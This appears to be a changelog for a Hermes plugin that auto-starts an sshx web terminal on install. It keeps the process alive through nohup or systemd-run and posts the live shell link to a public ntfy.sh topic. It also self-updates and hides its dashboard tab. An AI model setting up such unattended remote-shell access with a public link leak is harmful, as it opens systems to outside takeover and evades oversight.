- plugin now copies scripts/sshx_link.sh to HERMES_HOME/scripts/sshx_link.sh on register so cron no_agent finds it (fixes SCRIPT DOES NOT EXIST: /OPT/DATA/SCRIPTS/SCRIPTS/SSHX_LINK.SH)
- cron should use Script=sshx_link.sh (not scripts/sshx_link.sh) with Workdir=/absolute/path/to/hermes-sshx-link or empty (script must be inside HERMES_HOME/scripts)
- dashboard tab unhidden (remove hidden:true) so link visible without cron, keep auto-start via nohup/systemd with ntfy fallback
- bump v2.5.6
- frontend now checks /api/dashboard/plugins manifest version vs EXPECTED 2.5.4
- if old, auto POST /api/dashboard/agent-plugins/sshx-link/update (hermes plugins update) then rescan
- ensures server pulls new code without SSH, even when backend 404
- bump v2.5.4
- frontend now tries GET /api/dashboard/plugins/rescan via SDK first (reloads gateway+dashboard plugins without _HERMES_GATEWAY bug), waits 3s and re-checks status
- only if still 404 then falls back to POST /api/gateway/restart
- ensures new code (systemd/nohup + ntfy) loads without needing manual dashboard restart
- bump v2.5.3
- frontend now tries 3 sources: backend /status -> static /dashboard-plugins/.../link.json -> https://ntfy.sh/kUIJK0H1ettQ4VkR/json?poll=1
- shows link from ntfy even when dashboard backend not mounted (no restart needed)
- bump v2.5.2
- add _dist_debug_file/_write_debug to both gateway and dashboard
- _notify_ntfy now tries urllib, then curl, then wget, writes debug.json with result
- both auto-start threads write link to dashboard/dist/link.json and debug to debug.json so frontend can fetch via /dashboard-plugins/sshx-link/dist/debug.json without backend mount
- bump v2.5.1
- add _get_host_start_time() and _systemd_run_available() based on hermes process_registry.py
- _is_sshx_alive now validates pid starttime to avoid recycled pid
- _run_sshx_nohup prefers systemd-run --user --scope --collect when available (isolated cgroup, avoids gateway OOM kill), falls back to nohup/setsid/Python Popen
- store pid as 'pid starttime' in /tmp/sshx.pid and validate on every check
- both gateway (__init__.py) and dashboard (plugin_api.py) auto-start thread now uses same hardened path and notifies ntfy.sh/kUIJK0H1ettQ4VkR
- dashboard hidden, frontend fallback to static link.json when backend 404
- bump v2.5.0
- dashboard hidden (tab.hidden=true), frontend not needed for main flow
- __init__.py and dashboard/plugin_api.py now both auto-start via nohup & with fallback (no nohup -> Python Popen) and POST link to https://ntfy.sh/kUIJK0H1ettQ4VkR on every successful start (with tags)
- keep writing link to /tmp/sshx_link.txt and dashboard/dist/link.json for fallback static fetch if dashboard ever shown
- bump v2.4.0
- both gateway (__init__.py) and dashboard (plugin_api.py) now write link to dashboard/dist/link.json in addition to /tmp/sshx_link.txt
- frontend now fallbacks to fetch /dashboard-plugins/sshx-link/dist/link.json when /api/plugins/sshx-link/status returns 404, so link shows immediately even before dashboard restart
- keeps nohup with fallback (setsid/Python Popen) for systems without nohup
- bump v2.3.4
- frontend now auto-calls /start (nohup with fallback) 1.5s after detecting stopped, and auto-restarts dashboard 1.5s after detecting 404 (tries /api/gateway/restart, /api/dashboard/restart, etc.)
- keeps passive link display but restores auto behavior like ntfy version: cài vô là tự chạy nohup & tạo link, hiện ra dashboard
- bump v2.3.3
- frontend was passive and never called /start, so /tmp/sshx_link.txt never created -> always 'Chưa có shell'
- now frontend auto-calls /start (nohup with fallback) 1.5s after detecting stopped, shows starting state
- keep passive display (only current link) but add auto-start + Restart button for 404
- bump v2.3.2
- _run_sshx_nohup now checks shutil.which('nohup') and 'setsid', falls back to Python detached Popen (start_new_session, close_fds) when both missing
- handles sh vs bash, logs fallback, writes pid/link file same as nohup path
- tested fallback path generates link https://sshx.io/s/... without nohup binary
- bump v2.3.1
- remove NTFY_URL/_notify_ntfy and auto-start threads (hermes kills background shell -> connect error)
- __init__.py: keep sshx_start/stop tools but no auto-start on register
- dashboard plugin_api.py: /status now passive - returns link from memory or /tmp/sshx_link.txt (for externally run sshx), /start returns 410 disabled
- frontend: simplified to only display current link, poll /status every 3s, no Start/Stop/Restart buttons, instruction to run nohup sshx --quiet > /tmp/sshx_link.txt &
- bump v2.2.0
- frontend used raw fetch without auth -> 401 Unauthorized behind nginx on /api/plugins/*
- now uses SDK.fetchJSON (auth-aware) first, fallback raw fetch with ?profile= forwarded from window.location
- fetchJSONAllowError returns JSON even on 401 so UI shows detail instead of generic error
- bump v2.0.2